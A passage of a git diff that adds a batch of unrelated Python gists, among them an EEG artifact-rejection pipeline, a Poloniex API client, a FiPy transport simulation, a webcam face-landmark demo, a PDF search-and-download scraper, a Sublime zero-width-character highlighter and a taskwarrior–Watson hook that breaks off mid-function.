+def faster_bad_epochs(epochs, picks=None, thres=3, use_metrics=None):
+    """Implements the second step of the FASTER algorithm.
+    
+    This function attempts to automatically mark bad epochs by performing
+    outlier detection.
+
+    Parameters
+    ----------
+    epochs : Instance of Epochs
+        The epochs to analyze.
+    picks : list of int | None
+        Channels to operate on. Defaults to EEG channels.
+    thres : float
+        The threshold value, in standard deviations, to apply. An epoch
+        crossing this threshold value is marked as bad. Defaults to 3.
+    use_metrics : list of str
+        List of metrics to use. Can be any combination of:
+            'amplitude', 'variance', 'deviation'
+        Defaults to all of them.
+
+    Returns
+    -------
+    bads : list of int
+        The indices of the bad epochs.
+    """
+
+    metrics = {
+        'amplitude': lambda x: np.mean(np.ptp(x, axis=2), axis=1),
+        'deviation': lambda x: np.mean(_deviation(x), axis=1),
+        'variance':  lambda x: np.mean(np.var(x, axis=2), axis=1),
+    }
+
+    if picks is None:
+        picks = mne.pick_types(epochs.info, meg=False, eeg=True,
+                               exclude='bads')
+    if use_metrics is None:
+        use_metrics = metrics.keys()
+
+    data = epochs.get_data()[:, picks, :]
+
+    bads = []
+    for m in use_metrics:
+        s = metrics[m](data)
+        b = find_outliers(s, thres)
+        logger.info('Bad by %s:\n\t%s' % (m, b))
+        bads.append(b)
+
+    return np.unique(np.concatenate(bads)).tolist()
+
+def _power_gradient(ica, source_data):
+    # Compute power spectrum
+    f, Ps = scipy.signal.welch(source_data, ica.info['sfreq'])
+
+    # Limit power spectrum to upper frequencies
+    Ps = Ps[:, np.searchsorted(f, 25):np.searchsorted(f, 45)]
+
+    # Compute mean gradients
+    return np.mean(np.diff(Ps), axis=1)
+
+
+def faster_bad_components(ica, epochs, thres=3, use_metrics=None):
+    """Implements the third step of the FASTER algorithm.
+    
+    This function attempts to automatically mark bad ICA components by
+    performing outlier detection.
+
+    Parameters
+    ----------
+    ica : Instance of ICA
+        The ICA operator, already fitted to the supplied Epochs object.
+    epochs : Instance of Epochs
+        The untransformed epochs to analyze.
+    thres : float
+        The threshold value, in standard deviations, to apply. A component
+        crossing this threshold value is marked as bad. Defaults to 3.
+    use_metrics : list of str
+        List of metrics to use. Can be any combination of:
+            'eog_correlation', 'kurtosis', 'power_gradient', 'hurst',
+            'median_gradient'
+        Defaults to all of them.
+
+    Returns
+    -------
+    bads : list of int
+        The indices of the bad components.
+
+    See also
+    --------
+    ICA.find_bads_ecg
+    ICA.find_bads_eog
+    """
+    source_data = ica.get_sources(epochs).get_data().transpose(1,0,2)
+    source_data = source_data.reshape(source_data.shape[0], -1)
+
+    metrics = {
+        'eog_correlation': lambda x: x.find_bads_eog(epochs)[1],
+        'kurtosis':        lambda x: kurtosis(
+                               np.dot(
+                                   x.mixing_matrix_.T,
+                                   x.pca_components_[:x.n_components_]),
+                               axis=1),
+        'power_gradient':  lambda x: _power_gradient(x, source_data),
+        'hurst':           lambda x: hurst(source_data),
+        'median_gradient': lambda x: np.median(np.abs(np.diff(source_data)),
+                                               axis=1),
+        'line_noise':  lambda x: _freqs_power(source_data,
+                                              epochs.info['sfreq'], [50, 60]),
+    }
+
+    if use_metrics is None:
+        use_metrics = metrics.keys()
+
+    bads = []
+    for m in use_metrics:
+        scores = np.atleast_2d(metrics[m](ica))
+        for s in scores:
+            b = find_outliers(s, thres)
+            logger.info('Bad by %s:\n\t%s' % (m, b))
+            bads.append(b)
+
+    return np.unique(np.concatenate(bads)).tolist()
+
+def faster_bad_channels_in_epochs(epochs, picks=None, thres=3, use_metrics=None):
+    """Implements the fourth step of the FASTER algorithm.
+    
+    This function attempts to automatically mark bad channels in each epochs by
+    performing outlier detection.
+
+    Parameters
+    ----------
+    epochs : Instance of Epochs
+        The epochs to analyze.
+    picks : list of int | None
+        Channels to operate on. Defaults to EEG channels.
+    thres : float
+        The threshold value, in standard deviations, to apply. An epoch
+        crossing this threshold value is marked as bad. Defaults to 3.
+    use_metrics : list of str
+        List of metrics to use. Can be any combination of:
+            'amplitude', 'variance', 'deviation', 'median_gradient'
+        Defaults to all of them.
+
+    Returns
+    -------
+    bads : list of lists of int
+        For each epoch, the indices of the bad channels.
+    """
+
+    metrics = {
+        'amplitude':       lambda x: np.ptp(x, axis=2),
+        'deviation':       lambda x: _deviation(x),
+        'variance':        lambda x: np.var(x, axis=2),
+        'median_gradient': lambda x: np.median(np.abs(np.diff(x)), axis=2),
+        'line_noise':      lambda x: _freqs_power(x, epochs.info['sfreq'],
+                                                  [50, 60]),
+    }
+
+    if picks is None:
+        picks = mne.pick_types(epochs.info, meg=False, eeg=True,
+                               exclude='bads')
+    if use_metrics is None:
+        use_metrics = metrics.keys()
+
+    
+    data = epochs.get_data()[:, picks, :]
+
+    bads = [[] for i in range(len(epochs))]
+    for m in use_metrics:
+        s_epochs = metrics[m](data)
+        for i, s in enumerate(s_epochs):
+            b = [epochs.ch_names[picks[j]] for j in find_outliers(s, thres)]
+            logger.info('Epoch %d, Bad by %s:\n\t%s' % (i, m, b))
+            bads[i].append(b)
+
+    for i, b in enumerate(bads):
+        if len(b) > 0:
+            bads[i] = np.unique(np.concatenate(b)).tolist()
+
+    return bads
+
+def run_faster(epochs, thres=3, copy=True):
+    """Run the entire FASTER pipeline on the data.
+    """
+    if copy:
+        epochs = epochs.copy()
+
+    # Step one
+    logger.info('Step 1: mark bad channels')
+    epochs.info['bads'] += faster_bad_channels(epochs, thres=5)
+
+    # Step two
+    logger.info('Step 2: mark bad epochs')
+    bad_epochs = faster_bad_epochs(epochs, thres=thres)
+    good_epochs = list(set(range(len(epochs))).difference(set(bad_epochs)))
+    epochs = epochs[good_epochs]
+
+    # Step three (using the build-in MNE functionality for this)
+    logger.info('Step 3: mark bad ICA components')
+    picks = mne.pick_types(epochs.info, meg=False, eeg=True, eog=True, exclude='bads')
+    ica = mne.preprocessing.run_ica(epochs, len(picks), picks=picks, eog_ch=['vEOG', 'hEOG'])
+    print ica.exclude
+    ica.apply(epochs)
+
+    # Step four
+    logger.info('Step 4: mark bad channels for each epoch')
+    bad_channels_per_epoch = faster_bad_channels_in_epochs(epochs, thres=thres)
+    for i, b in enumerate(bad_channels_per_epoch):
+        if len(b) > 0:
+            epoch = epochs[i]
+            epoch.info['bads'] += b
+            epoch.interpolate_bads_eeg()
+            epochs._data[i, :, :] = epoch._data[0, :, :]
+
+    # Now that the data is clean, apply average reference
+    epochs.info['custom_ref_applied'] = False
+    epochs, _ = mne.io.set_eeg_reference(epochs)
+    epochs.apply_proj()
+
+    # That's all for now
+    return epochs
diff --git a/hard-gists/d887f01c563a60554360bb5ae07cd1b0/._snippet.py b/hard-gists/d887f01c563a60554360bb5ae07cd1b0/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/d887f01c563a60554360bb5ae07cd1b0/._snippet.py differ
diff --git a/hard-gists/d887f01c563a60554360bb5ae07cd1b0/snippet.py b/hard-gists/d887f01c563a60554360bb5ae07cd1b0/snippet.py
new file mode 100644
index 00000000..0743f398
--- /dev/null
+++ b/hard-gists/d887f01c563a60554360bb5ae07cd1b0/snippet.py
@@ -0,0 +1,114 @@
+import time
+import hmac
+import hashlib
+import requests
+
+from urllib.parse import urlencode
+
+PUBLIC_URL = "https://poloniex.com/public"
+TRADING_URL = "https://poloniex.com/tradingApi"
+
+class PoloniexAPI:
+    def __init__(self, key, secret):
+        self.key = key
+        self.secret = secret
+
+    def query(self, command, params=None):
+        if params is None:
+            params = {}
+
+        params["command"] = command
+        params["nonce"] = int(time.time() * 1000)
+
+        sign = hmac.new(self.secret.encode("utf-8"), urlencode(params).encode("utf-8"), hashlib.sha512).hexdigest()
+        headers = {
+            "Sign": sign,
+            "Key": self.key
+        }
+        req = requests.post(TRADING_URL, headers=headers, data=params)
+        return req.json()
+
+    # -------------- PUBLIC
+
+    # Returns all currently existing orders for the specified market or all markets
+    # Examples: BTC_ETH, BTC_XMR, USD_BTC
+    @staticmethod
+    def orders(market="all", depth=10):
+        params = {"command": "returnOrderBook",
+                  "currencyPair": market,
+                  "depth": depth}
+        req = requests.get(PUBLIC_URL, params=params)
+        return req.json()
+
+    # Returns all currently existing loan orders for the specified currency
+    # Examples: BTC, ETH, XMR
+    @staticmethod
+    def loan_orders(currency):
+        params = {"command": "returnLoanOrders",
+                  "currency": currency}
+        req = requests.get(PUBLIC_URL, params=params)
+        return req.json()
+
+    # Returns the trading history for the specified market or all markets, start and end must be UNIX timestamps
+    # Examples: BTC_ETH, BTC_XMR, USD_BTC
+    @staticmethod
+    def history(market="all", start=None, end=None):
+        params = {"command": "returnTradeHistory",
+                  "currencyPair": market,
+                  "start": start,
+                  "end": end}
+        req = requests.get(PUBLIC_URL, params=params)
+        return req.json()
+
+    @staticmethod
+    def ticker():
+        params = {"command": "returnTicker"}
+        req = requests.get(PUBLIC_URL, params=params)
+        return req.json()
+
+    @staticmethod
+    def volume():
+        params = {"command": "return24hVolume"}
+        req = requests.get(PUBLIC_URL, params=params)
+        return req.json()
+
+    # -------------- PRIVATE (requires KEY + SECRET)
+
+    # Returns all !available! balances. Means that provided loans don't count towards your balance.
+    def balances(self):
+        return self.query("returnBalances")
+
+    # Returns the complete balances of the specified account ( exchange | margin | lending ).
+    def account_balances(self, account="lending"):
+        params = {"account": account}
+        return self.query("returnAvailableAccountBalances", params)
+
+    # Returns all !available! balance, balance on orders and the estimated BTC value of the balance on all accounts.
+    def complete_balance(self):
+        params = {"account": "all"}
+        return self.query("returnCompleteBalances", params)
+
+    # Returns all currently open loan offers
+    def open_loan_offers(self):
+        return self.query("returnOpenLoanOffers")
+
+    # Returns all currently provided loans
+    def active_loans(self):
+        return self.query("returnActiveLoans")
+
+    def create_loan_offer(self, currency, amount, rate, duration=2, renew=0):
+        params = {
+            "currency": currency,
+            "amount": amount,
+            "duration": duration,
+            "lendingRate": rate,
+            "autoRenew": renew
+        }
+        return self.query("createLoanOffer", params)
+
+    def cancel_loan_offer(self, currency, order):
+        params = {
+            "currency": currency,
+            "orderNumber": order
+        }
+        return self.query("cancelLoanOffer", params)
\ No newline at end of file
diff --git a/hard-gists/d8e8d65d0418886c47d0/._snippet.py b/hard-gists/d8e8d65d0418886c47d0/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/d8e8d65d0418886c47d0/._snippet.py differ
diff --git a/hard-gists/d8e8d65d0418886c47d0/snippet.py b/hard-gists/d8e8d65d0418886c47d0/snippet.py
new file mode 100644
index 00000000..85a1446f
--- /dev/null
+++ b/hard-gists/d8e8d65d0418886c47d0/snippet.py
@@ -0,0 +1,47 @@
+"""
+Apply any filter on any view. 
+
+CIFilter reference: https://developer.apple.com/library/mac/documentation/GraphicsImaging/Reference/CoreImageFilterReference/index.html#//apple_ref/doc/filter/ci/CIAccordionFoldTransition
+
+"""
+
+from mojo.UI import CurrentSpaceCenter
+from AppKit import *
+
+from vanilla import *
+
+class Blurryfyer(object):
+    
+    def __init__(self):
+        # create a window
+        self.w = Window((250, 60), "Blurryfyer")
+        # create a slider
+        self.w.s = Slider((10, 10, -10, 22), callback=self.blurryfyerCallback, continuous=False)
+        # open the window
+        self.w.open()
+    
+    def blurryfyerCallback(self,sender):
+        # get the value from the slider
+        value = sender.get()
+        # get the current space center
+        sp = CurrentSpaceCenter()
+        # if there is no space center
+        if sp is None:
+            # do nothing
+            return
+        # get the line view (this is embedded into a scroll view)
+        view = sp.glyphLineView.contentView()
+        # create the filter
+        blur = CIFilter.filterWithName_("CIGaussianBlur")
+        # set the filter defaults
+        blur.setDefaults()
+        # change the input radius for the blur
+        blur.setValue_forKey_(value, "inputRadius")
+        # collect all filters in a list
+        filters = [blur]
+        # tel the view to use layers
+        view.setWantsLayer_(True)
+        # set the filters into the view
+        view.setContentFilters_(filters)
+
+Blurryfyer()
diff --git a/hard-gists/d91a0983140acbb8bc6455f58cbf45cb/._snippet.py b/hard-gists/d91a0983140acbb8bc6455f58cbf45cb/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/d91a0983140acbb8bc6455f58cbf45cb/._snippet.py differ
diff --git a/hard-gists/d91a0983140acbb8bc6455f58cbf45cb/snippet.py b/hard-gists/d91a0983140acbb8bc6455f58cbf45cb/snippet.py
new file mode 100644
index 00000000..58304c7a
--- /dev/null
+++ b/hard-gists/d91a0983140acbb8bc6455f58cbf45cb/snippet.py
@@ -0,0 +1,73 @@
+import os
+import sys
+import numpy as np
+from data_util import *
+import datetime
+
+ply_filelist = 'scripts/modelnet40_ply_filelist_shuffled.txt'
+
+H5_BATCH_SIZE = 2000
+
+shape_names = get_category_names()
+shape_name_dict = {shape_names[i]: i for i in range(len(shape_names))}
+
+def filename_to_class_label(filename):
+    shape_name = filename.split('/')[-2]
+    return shape_name_dict[shape_name]
+
+def main():
+    ply_filenames = [line.rstrip() for line in open(ply_filelist)]
+    labels = [filename_to_class_label(fn) for fn in ply_filenames]
+
+    N = len(labels)
+
+    data_dim = [SAMPLING_POINT_NUM, 3]
+    label_dim = [1]
+    data_dtype = 'float32'
+    label_dtype = 'uint8'
+
+    output_dir = os.path.join(BASE_DIR, 'data', 'modelnet40_ply_0930', 'ply_data_hdf5')
+    if not os.path.exists(output_dir):
+        os.mkdir(output_dir)
+
+    output_filename_prefix = os.path.join(output_dir, 'ply_data')
+
+    batch_data_dim = [min(H5_BATCH_SIZE, N)] + data_dim
+    batch_label_dim = [min(H5_BATCH_SIZE, N)] + label_dim
+
+    h5_batch_data = np.zeros(batch_data_dim, dtype = np.float32)
+    h5_batch_label = np.zeros(batch_label_dim, dtype = np.uint8)
+    
+    print h5_batch_data.shape
+    print h5_batch_label.shape
+
+    def unit_test(batch_num):
+        h5_filename = output_filename_prefix + '_' + str(batch_num) + '.h5'
+        print 'Performing unit test for hdf5 file %s' % h5_filename
+        d, l = load_h5(h5_filename)
+        print 'data shape: ', d.shape
+        print 'label shape: ', l.shape
+        print 'label diff: %f' % np.linalg.norm(l.T - labels[batch_num*H5_BATCH_SIZE: min((batch_num+1)*H5_BATCH_SIZE, N)])
+
+    for k in range(N):
+        if k % 100 == 0:
+            print 'Iteration %d/%d' % (k, N)
+        d = load_ply_data(ply_filenames[k])
+        d = pad_arr_rows(d, row=SAMPLING_POINT_NUM)
+        l = labels[k]
+        h5_batch_data[k%H5_BATCH_SIZE, ...] = d
+        h5_batch_label[k%H5_BATCH_SIZE, ...] = l
+
+        if (k+1)%H5_BATCH_SIZE == 0 or k == N - 1:
+            print '[%s] %d/%d' % (datetime.datetime.now(), k+1, N)
+            h5_filename = output_filename_prefix + '_' + str(k/H5_BATCH_SIZE) + '.h5'
+            begidx = 0
+            endidx = k % H5_BATCH_SIZE + 1
+            save_h5(h5_filename, h5_batch_data[begidx:endidx, ...], 
+                    h5_batch_label[begidx:endidx, ...], 
+                    data_dtype, label_dtype)
+            print 'Stored %d objects' % (endidx - begidx)
+
+            unit_test(k/H5_BATCH_SIZE)
+
+main()
\ No newline at end of file
diff --git a/hard-gists/d97eb37da84ce7329de6/._snippet.py b/hard-gists/d97eb37da84ce7329de6/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/d97eb37da84ce7329de6/._snippet.py differ
diff --git a/hard-gists/d97eb37da84ce7329de6/snippet.py b/hard-gists/d97eb37da84ce7329de6/snippet.py
new file mode 100644
index 00000000..03eb9435
--- /dev/null
+++ b/hard-gists/d97eb37da84ce7329de6/snippet.py
@@ -0,0 +1,68 @@
+from fipy import Grid1D, CellVariable, FaceVariable, TransientTerm, DiffusionTerm, ExponentialConvectionTerm, ImplicitSourceTerm, Viewer
+import matplotlib.pyplot as plt
+import numpy as np
+
+L = 10.0
+nx = 100
+dx = L/nx
+timeStep = dx/10.0
+
+steps = 150
+phim = 0.10   # mobile zone porosity
+phiim = 0.05  # immobile zone porosity
+beta = 0.05    # mobile/immobile domain transfer rate
+D = 1.0E-1    # mobile domain diffusion coeff
+Rm = 1.0     # mobile domain retardation coefficient
+Rim = 1.0    # immobile domain retardation coefficient
+
+betaT = phiim*Rim/(phim*Rm)
+DR = D/Rm
+
+m = Grid1D(dx=dx, nx=nx)
+c0 = np.zeros(nx, 'd')
+c0[20:50] = 1.0
+
+# mobile domain concentration
+cm = CellVariable(name="$c_m$", mesh=m, value=c0)
+
+# immobile domain concentration
+cim = CellVariable(name="$c_{im}$", mesh=m, value=0.0)
+
+cm.constrain(0, m.facesLeft)
+cm.constrain(0, m.facesRight)
+
+cim.constrain(0, m.facesLeft)
+cim.constrain(0, m.facesRight)
+
+# advective flow velocity 
+u = FaceVariable(mesh=m, value=(0.0,), rank=1)
+
+# 1D convection diffusion equation (mobile domain)
+# version with \frac{\partial c_{im}}{\partial t}
+eqM =  (TransientTerm(1.0,var=cm) + TransientTerm(betaT,var=cim) == 
+       DiffusionTerm(DR,var=cm) - ExponentialConvectionTerm(u/(Rm*phim),var=cm))
+
+# immobile domain (lumped approach)
+eqIM = TransientTerm(Rim*phiim,var=cim) == beta/Rim*(cm - ImplicitSourceTerm(1.0,var=cim))
+
+# couple equations
+eqn = eqM & eqIM
+
+viewer = Viewer(vars=(cm,cim), datamin=0.0, datamax=1.0)
+viewer.plot()
+time = 0.0
+
+for step in range(steps):
+    time += timeStep
+
+    if time < 0.5:
+        u.setValue((1.0,))
+    elif time < 1.0:
+        u.setValue((0.0,))
+    else:
+        u.setValue((-1.0,))
+
+    eqn.solve(dt=timeStep)
+    viewer.plot()
+
+
diff --git a/hard-gists/d9ef555fb7ef5498c709/._snippet.py b/hard-gists/d9ef555fb7ef5498c709/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/d9ef555fb7ef5498c709/._snippet.py differ
diff --git a/hard-gists/d9ef555fb7ef5498c709/snippet.py b/hard-gists/d9ef555fb7ef5498c709/snippet.py
new file mode 100644
index 00000000..760860c8
--- /dev/null
+++ b/hard-gists/d9ef555fb7ef5498c709/snippet.py
@@ -0,0 +1,75 @@
+# requires twill==0.9
+import sys
+from twill import get_browser
+from pprint import pprint
+
+class PdfFinder:
+    browser = None
+    _b = None
+    _q = None
+    links = {}
+
+    def __init__(self):
+        self.browser = get_browser()
+        self.browser.go('http://it-ebooks.info')
+        self._b = self.browser._browser
+        self._q = list(self._b.forms())[0]['q']
+
+    def search(self,term):
+        self.browser.get_form(1).set_value(term,'q')
+        self.browser.get_form(1).set_value(['title'],'type')
+        self.browser.submit('None')
+        self.links = {
+                x.text.split('\xe2\x86\x92')[0].strip():x for x in list(
+                    self._b.links()
+                ) if 'book/' in x.url or '/search' in x.url
+        }
+        #print [x[1].attrs[-1][1].strip() for x in self.links.items()]
+        while 'Next page' in [x[1].attrs[-1][1].strip() for x in self.links.items()]:
+            self.get_link(self.links.pop('Next'))
+            self.links.update({
+                str(x.text.split('\xe2\x86\x92')[0].strip()):x for x in list(
+                    self._b.links()
+                ) if 'book/' in x.url or '/search' in x.url
+            })
+        return '\n'.join(map(str,['{} {}'.format(n,x) for n,x in enumerate(self.links.keys())]))
+
+    def get_link(self,link):
+        self.browser.follow_link(link)
+
+    def get_links(self):
+        return '\n'.join(map(str,[x.url for x in list(self.browser._browser.links())]))
+
+    def get_dl_link(self):
+        return [x for x in list(self.browser._browser.links()) if 'filepi' in x.url][0]
+
+    def save_file(self,name):
+        f = open(name,'wb')
+        f.write(self.browser.result.page)
+        f.close()
+
+    def make_filename(self):
+        name,junk,ext = map(str.strip,self.browser.get_title().split('-'))
+        return str(name.replace(' ','_').replace('-','_').replace(',','') + '.' + ext).lower()
+        
+def print_usage():
+    print 'Usage: findpdf <TERM> <NUM> [outfile] - search for TERM and download NUM'
+    sys.exit()
+
+def main():
+    finder = PdfFinder()
+    if any(filter(lambda x: x=='-h' or x=='--help',sys.argv)):
+        print_usage()
+    if len(sys.argv) == 2:
+        print finder.search(sys.argv[1])
+    elif len(sys.argv) >= 3:
+        finder.search(sys.argv[1])
+        finder.get_link(finder.links[finder.links.keys()[int(sys.argv[2])]])
+        name = (len(sys.argv) == 4) and sys.argv[-1] or finder.make_filename()
+        finder.get_link(finder.get_dl_link())
+        finder.save_file(name)
+        print 'saved {} to file'.format(name)
+    else:
+        print_usage()
+if __name__ == "__main__":
+    main()
\ No newline at end of file
diff --git a/hard-gists/da0ebd94c1c1fcf7ef6f3cd3f1f6fb9c/._snippet.py b/hard-gists/da0ebd94c1c1fcf7ef6f3cd3f1f6fb9c/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/da0ebd94c1c1fcf7ef6f3cd3f1f6fb9c/._snippet.py differ
diff --git a/hard-gists/da0ebd94c1c1fcf7ef6f3cd3f1f6fb9c/snippet.py b/hard-gists/da0ebd94c1c1fcf7ef6f3cd3f1f6fb9c/snippet.py
new file mode 100644
index 00000000..25f51c42
--- /dev/null
+++ b/hard-gists/da0ebd94c1c1fcf7ef6f3cd3f1f6fb9c/snippet.py
@@ -0,0 +1,20 @@
+import tempfile
+from PIL import Image
+
+
+class PhotoCreateAPIViewTest(TestCase):
+    
+    def setUp(self):
+        super().setUp()
+        self.tmp_file = tempfile.NamedTemporaryFile(suffix='.jpg')
+        image = Image.new('RGB', (100, 100))
+        image.save(self.tmp_file.name)
+        self.params = {
+            'photo': self.tmp_file
+        }
+
+    def test_valid_authenticated_post_returns_201(self):
+        response = self.auth_client.post(
+            reverse(self.view_name), data=self.params, format='multipart')
+    
+        self.assertEqual(response.status_code, status.HTTP_201_CREATED)
\ No newline at end of file
diff --git a/hard-gists/da582d745fa2bf0ddd8f5f7480042291/._snippet.py b/hard-gists/da582d745fa2bf0ddd8f5f7480042291/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/da582d745fa2bf0ddd8f5f7480042291/._snippet.py differ
diff --git a/hard-gists/da582d745fa2bf0ddd8f5f7480042291/snippet.py b/hard-gists/da582d745fa2bf0ddd8f5f7480042291/snippet.py
new file mode 100644
index 00000000..01f55f0b
--- /dev/null
+++ b/hard-gists/da582d745fa2bf0ddd8f5f7480042291/snippet.py
@@ -0,0 +1,75 @@
+#!/usr/bin/python
+from __future__ import division
+import dlib
+import cv2
+import numpy as np
+
+def resize(img, width=None, height=None, interpolation=cv2.INTER_AREA):
+    global ratio
+    w, h = img.shape
+
+    if width is None and height is None:
+        return img
+    elif width is None:
+        ratio = height / h
+        width = int(w * ratio)
+        resized = cv2.resize(img, (height, width), interpolation)
+        return resized
+    else:
+        ratio = width / w
+        height = int(h * ratio)
+        resized = cv2.resize(img, (height, width), interpolation)
+        return resized
+
+def shape_to_np(shape, dtype="int"):
+    # initialize the list of (x, y)-coordinates
+    coords = np.zeros((68, 2), dtype=dtype)
+
+    # loop over the 68 facial landmarks and convert them
+    # to a 2-tuple of (x, y)-coordinates
+    for i in range(0, 68):
+        coords[i] = (shape.part(i).x, shape.part(i).y)
+
+    # return the list of (x, y)-coordinates
+    return coords
+
+camera = cv2.VideoCapture(0)
+
+predictor_path = 'C:\\Users\\nikgens\\Anaconda3\\pkgs\\dlib-19.4-np111py36_200\\info\\recipe\\shape_predictor_68_face_landmarks.dat'
+
+detector = dlib.get_frontal_face_detector()
+predictor = dlib.shape_predictor(predictor_path)
+
+while True:
+
+    ret, frame = camera.read()
+    if ret == False:
+        print('Failed to capture frame from camera. Check camera index in cv2.VideoCapture(0) \n')
+        break
+
+    frame_grey = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)
+    frame_resized = resize(frame_grey, width=120)
+
+    # Ask the detector to find the bounding boxes of each face. The 1 in the
+    # second argument indicates that we should upsample the image 1 time. This
+    # will make everything bigger and allow us to detect more faces.
+    dets = detector(frame_resized, 1)
+    if len(dets) > 0:
+        for k, d in enumerate(dets):
+            # determine the facial landmarks for the face region, then
+            # convert the facial landmark (x, y)-coordinates to a NumPy array
+            shape = predictor(frame_resized, d)
+            shape = shape_to_np(shape)
+
+            # loop over the (x, y)-coordinates for the facial landmarks
+            # and draw them on the image
+            for (x, y) in shape:
+                cv2.circle(frame, (int(x/ratio), int(y/ratio)), 3, (255, 255, 255), -1)
+            #cv2.rectangle(frame, (int(d.left()/ratio), int(d.top()/ratio)),(int(d.right()/ratio), int(d.bottom()/ratio)), (0, 255, 0), 1)
+
+    cv2.imshow("image", frame)
+
+    if cv2.waitKey(1) & 0xFF == ord('q'):
+        cv2.destroyAllWindows()
+        camera.release()
+        break
\ No newline at end of file
diff --git a/hard-gists/da673e7cd79d0b6899b9bd6a68c860d0/._snippet.py b/hard-gists/da673e7cd79d0b6899b9bd6a68c860d0/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/da673e7cd79d0b6899b9bd6a68c860d0/._snippet.py differ
diff --git a/hard-gists/da673e7cd79d0b6899b9bd6a68c860d0/snippet.py b/hard-gists/da673e7cd79d0b6899b9bd6a68c860d0/snippet.py
new file mode 100644
index 00000000..d13215a4
--- /dev/null
+++ b/hard-gists/da673e7cd79d0b6899b9bd6a68c860d0/snippet.py
@@ -0,0 +1,52 @@
+import sublime
+import sublime_plugin
+
+class ShowZeroWidthCharacters(sublime_plugin.EventListener):
+    """
+        Tries to detect and mark zero-width joiners, non-joiners, and other invisible characters.
+        Most of the characters were detected by manually testing code points from C++ specs.
+        http://en.cppreference.com/w/cpp/language/identifiers
+    """
+
+    sublime3 = sublime.version() > '3000'
+    zero_width_characters = u'|'.join([
+        '\u200b',   # zero-width space
+        '\u200c',   # zero-width non-joiner
+        '\u200d',   # zero-width joiner
+        '\u2060',   # word joiner
+        '\u2061',   # function application
+        '\u2062',   # invisible times
+        '\u2063',   # invisible separator
+        '\u2064',   # invisible plus
+        '\u2065',   # invalid, still present in the C++ spec
+        '\u2066',   # left-to-right isolate
+        '\u2067',   # right-to-left isolate
+        '\u2068',   # first strong isolate
+        '\u2069',   # pop directional isolate
+        '\u206a',   # inhibit symmetric swapping
+        '\u206b',   # activate symmetric swapping
+        '\u206c',   # inhibit arabic form shaping
+        '\u206d',   # activate arabic form shaping
+        '\u206e',   # national digit shapes
+        '\u206f',   # nominal digit shapes
+        '\ufeff',   # zero-width no-break space
+    ])
+
+    def show_zero_width_characters(self, view):
+        view.erase_regions('zero-width')
+        regions = view.find_all(self.zero_width_characters)
+        if regions:
+            view.add_regions('zero-width', regions, 'invalid')
+
+    if sublime3:
+        def on_load_async(self, view):
+            self.show_zero_width_characters(view)
+
+        def on_post_save_async(self, view):
+            self.show_zero_width_characters(view)
+    else:
+        def on_load(self, view):
+            self.show_zero_width_characters(view)
+
+        def on_post_save(self, view):
+            self.show_zero_width_characters(view)
diff --git a/hard-gists/da6c11fad0fc1966aa057e62bacccb2d/._snippet.py b/hard-gists/da6c11fad0fc1966aa057e62bacccb2d/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/da6c11fad0fc1966aa057e62bacccb2d/._snippet.py differ
diff --git a/hard-gists/da6c11fad0fc1966aa057e62bacccb2d/Dockerfile-llm-3.8 b/hard-gists/da6c11fad0fc1966aa057e62bacccb2d/Dockerfile-llm-3.8
new file mode 100644
index 00000000..82589bd9
--- /dev/null
+++ b/hard-gists/da6c11fad0fc1966aa057e62bacccb2d/Dockerfile-llm-3.8
@@ -0,0 +1,11 @@
+# FROM is the found expected Python version
+FROM python:3.8
+# Set the working directory to /app
+WORKDIR /app
+# Add install commands for all of the python modules
+RUN ["pip","install","--upgrade","pip"]
+RUN ["pip","install","--trusted-host","pypi.python.org","--default-timeout=100","td-watson==2.1.0"]
+# Copy the specified directory to /app
+COPY snippet.py /app
+# Run the specified python file
+CMD ["python", "/app/snippet.py"]
\ No newline at end of file
diff --git a/hard-gists/da6c11fad0fc1966aa057e62bacccb2d/modules/td-watson_3.8.txt b/hard-gists/da6c11fad0fc1966aa057e62bacccb2d/modules/td-watson_3.8.txt
new file mode 100644
index 00000000..512a6931
--- /dev/null
+++ b/hard-gists/da6c11fad0fc1966aa057e62bacccb2d/modules/td-watson_3.8.txt
@@ -0,0 +1 @@
+1.0.1, 1.0.2, 1.1.0, 1.2.0, 1.3.1, 1.3.2, 1.4.0, 1.5.0, 1.5.1, 1.5.2, 1.6.0, 1.7.0, 1.8.0, 1.9.0, 1.10.0, 2.0.0, 2.0.1, 2.1.0
\ No newline at end of file
diff --git a/hard-gists/da6c11fad0fc1966aa057e62bacccb2d/snippet.py b/hard-gists/da6c11fad0fc1966aa057e62bacccb2d/snippet.py
new file mode 100644
index 00000000..e324eeed
--- /dev/null
+++ b/hard-gists/da6c11fad0fc1966aa057e62bacccb2d/snippet.py
@@ -0,0 +1,72 @@
+#!/usr/bin/env python3
+# -*- coding: utf-8 -*-
+# Copyright © 2016 Yannick Loiseau <me@yloiseau.net>
+# This work is free. You can redistribute it and/or modify it under the
+# terms of the Do What The Fuck You Want To Public License, Version 2,
+# as published by Sam Hocevar. See http://www.wtfpl.net/ for more details.
+"""
+on-modify hook for taskwarrior.
+
+This hook connects taskwarrior and watson.
+
+When starting a task in taskwarrior, the hook starts a corresponding project in
+watson. The project and keywords of the taskwarrior task are used in watson.
+When stopping a task in taskwarrior, the hook stops the watson project.
+
+To install, copy in ~/.task/hooks/on-modify-watson.py and make it executable.
+
+https://taskwarrior.org/
+https://github.com/TailorDev/Watson
+"""
+import sys
+import json
+from watson import Watson
+
+
+def load_json():
+    return (json.loads(sys.stdin.readline()), json.loads(sys.stdin.readline()))
+
+
+def is_starting(old, new):
+    return "start" in new and "start" not in old
+
+
+def is_stopping(old, new):
+    return "start" in old and "start" not in new
+
+
+def stop_watson():
+    watson = Watson()
+    if watson.is_started:
+        watson.stop()
+        watson.save()
+
+
+def start_watson(task):
+    watson = Watson()
+    if watson.is_started and watson.config.getboolean('options', 'stop_on_start'):
+        watson.stop()
